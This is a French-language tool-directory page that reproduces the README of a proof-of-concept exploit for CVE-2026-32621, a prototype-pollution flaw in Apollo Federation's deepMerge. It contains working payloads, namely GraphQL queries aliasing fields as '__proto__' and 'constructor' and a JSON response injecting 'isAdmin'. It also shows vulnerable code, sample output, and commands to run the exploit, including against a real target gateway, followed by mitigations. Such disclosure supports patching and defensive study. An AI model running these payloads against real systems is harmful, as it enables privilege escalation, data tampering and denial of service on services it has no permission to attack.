Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — Exploit PoC pour CVE-2026-32621 démontrant la pollution de prototype deepMerge d'Apollo Federation via des alias GraphQL spécialement conçus, avec des tests de la version corrigée. | Kitploit
Outils/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité des API
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

Exploit PoC pour CVE-2026-32621 démontrant la pollution de prototype deepMerge d'Apollo Federation via des alias GraphQL spécialement conçus, avec des tests de la version corrigée.

Voir le dépôt
40il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-32621 - PoC de pollution de prototype Apollo Federation

Vue d'ensemble

ChampValeur
CVECVE-2026-32621
CVSS9.9 Critique
CWECWE-1321 (Pollution de prototype)
Versions affectéesApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
Versions corrigées2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

Description de la vulnérabilité

La fonction deepMerge d'Apollo Federation (utilisée dans @apollo/query-planner et @apollo/gateway pour fusionner les réponses des sous-graphes lors de l'exécution du plan de requête) ne nettoie pas les clés avant d'accéder à target[key].

Lorsqu'un objet source contient __proto__ comme propriété propre (ce que crée JSON.parse), Object.keys() la retourne, et target["__proto__"] résout vers Object.prototype via la chaîne de prototypes. La fusion écrit alors des propriétés directement sur Object.prototype, polluant la chaîne de prototypes globale pour l'ensemble du processus Node.js.

Cause racine

// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

Vecteurs d'attaque

1. Côté client (requête GraphQL malveillante)

Un client envoie une requête GraphQL avec des alias de champs nommés __proto__, constructor ou prototype. Lorsque la passerelle traite la réponse, deepMerge utilise ces alias comme clés, polluant Object.prototype.

query {
  __proto__: products {
    polluted: id
  }
}

2. Côté sous-graphe (sous-graphe compromis)

Un sous-graphe compromis renvoie du JSON avec des clés __proto__. Lorsque la passerelle fusionne la réponse via deepMerge, Object.prototype est pollué.

{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. Chaîne imbriquée

query {
  constructor: products {
    prototype: id
  }
}

Impact

  • Élévation de privilèges : injection de propriétés isAdmin, role, permissions
  • Déni de service : remplacement de toString, valueOf par des fonctions nulles/défectueuses
  • Intégrité des données : injection de propriétés qui affectent la logique métier
  • Persistant : la pollution affecte TOUTES les requêtes ultérieures vers l'instance de la passerelle
  • Inter-requêtes : toute requête après l'attaque voit des prototypes pollués

Documentation

DocumentContenu
USAGE.mdGuide d'utilisation détaillé avec instructions pas à pas
DIAGRAM.mdSchémas de structure et visualisation du flux d'attaque

Fichiers

| Fichier | Objectif |

|------|---------| | exploit.js | Exploit principal avec 5 vecteurs d'attaque + démonstration locale | | test_exploit.js | Tests unitaires (15 tests validant la pollution et le correctif) | | e2e_test.js | Validation de bout en bout (10 tests : passerelle + exploit + vérification) | | setup_vulnerable.js | Simulateur de passerelle vulnérable pour les tests |

Utilisation

Démarrage rapide (démonstration locale)

# Run the local deepMerge vulnerability demonstration
node exploit.js

Ceci démontre le chemin de code vulnérable exact, sans nécessiter de passerelle en cours d'exécution.

Exploit complet (avec passerelle vulnérable)

# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

Exécuter les tests

# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

Exploit contre une passerelle Apollo réelle

# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

Exemple de sortie

======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

Schéma de la chaîne d'attaque

Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

Voir DIAGRAM.md pour les schémas d'architecture complets.

Mesures d'atténuation

  1. Mettre à niveau vers les versions corrigées : 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
  2. Filtrage des entrées : bloquer les opérations GraphQL contenant __proto__, constructor, prototype dans les alias de champs et les noms de variables
  3. Confiance dans les sous-graphes : s'assurer que tous les sous-graphes proviennent de sources fiables
  4. Object.create(null) : utiliser des objets à prototype nul lorsque c'est possible

Références

Télécharger l’outil